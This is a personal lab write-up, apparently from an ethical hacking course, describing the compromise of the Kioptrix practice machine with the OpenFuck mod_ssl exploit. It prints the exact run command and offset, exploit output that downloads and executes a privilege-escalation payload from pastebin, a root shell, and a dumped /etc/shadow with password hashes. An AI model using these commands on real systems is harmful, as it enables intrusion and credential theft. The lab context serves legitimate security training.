Researching Potential Vulnerabilities

At this point, we have already collected some information from the machine. Now, it is time to use google fu and see if there are any known exploits out there.

We can also search in searchsploit.

He does not exploit this particular machine, so i think we should exploit the hack out of it, gain root, and document it. hehehe

Lets see if we can. I try running the exploit from git, but when I tried to compile it to my machine, I got error. We are going to have to troubleshoot it to make it work.

I updated my system, then I was able to install the "libssl-dev" package. Then, I compiled the code with no problems. Then, I was trying to run it just like shown on the ReadMe file. It was not working. I decided to search if anyone had a demonstration on the syntax to run the exploit. I found a youtube video "https://www.youtube.com/watch?v=FCLSF5GsGjY". To be honest, I did not think it was going to help at first, the author runs a couple exploits in the same video, and that got me thinking if he was going to get to the "OpenFuck" one, and he did. I found the right command syntax to run the "OpenFuck" exploit in this particular video.

Turns out we only need to run the executable with the right Offset for that specific target, and an ip address. We know we are against red had linux, and apache version is 1.3.20, so that gives us 2 options of Offset. But spoiler alert, for me it only worked with one of them ("0x6b" Offset).

The take away here is that if the exploit is not working properly, we need to make sure we are using it correctly. So, we would need to run it a couple times with different flags, in different ways, or even search if there is data in the internet of someone running it differently.

This exploit is kind of weird. The first time I ran, it gave me an shell with "apache" id. I accidentally closed that shell, and the second time I ran it gave me a root shell. Then, I did not need to do any privilege escalation.

```
┌──(kali㉿kali)-[~/…/PraticalEthicalKacker/Scanning-And-Enumaration/exploits/OpenLuck]
└─$ ./OpenFuck 0×6b 192.168.163.131

*********************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*********************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*********************************************************************

Establishing SSL connection
cipher: 0×4043808c   ciphers: 0×80fa068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -O pt
--00:49:34--  https://pastebin.com/raw/C7v25Xr9
           ⇒ `ptrace-kmod.c'
Connecting to pastebin.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

    0K ...                                                   @   3.84 MB/s

00:49:34 (3.84 MB/s) - `ptrace-kmod.c' saved [4026]

ptrace-kmod.c:183:1: warning: no newline at end of file
[+] Attached to 1540
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0×4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
```

```
sudo cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::
```

The above references the possible Apache version's that the exploit should work, and we can see it should work on the one we are attacking:

```
  {
          "RedHat Linux 7.2 (apache-1.3.20-16)1",
          0x080994e5
  },
  {
          "RedHat Linux 7.2 (apache-1.3.20-16)2",
          0x080994d4
  },
```

And below, are the 2 possible Offsets for the Kioptrix machine:

```
  0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)
  0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
  0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
  0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
```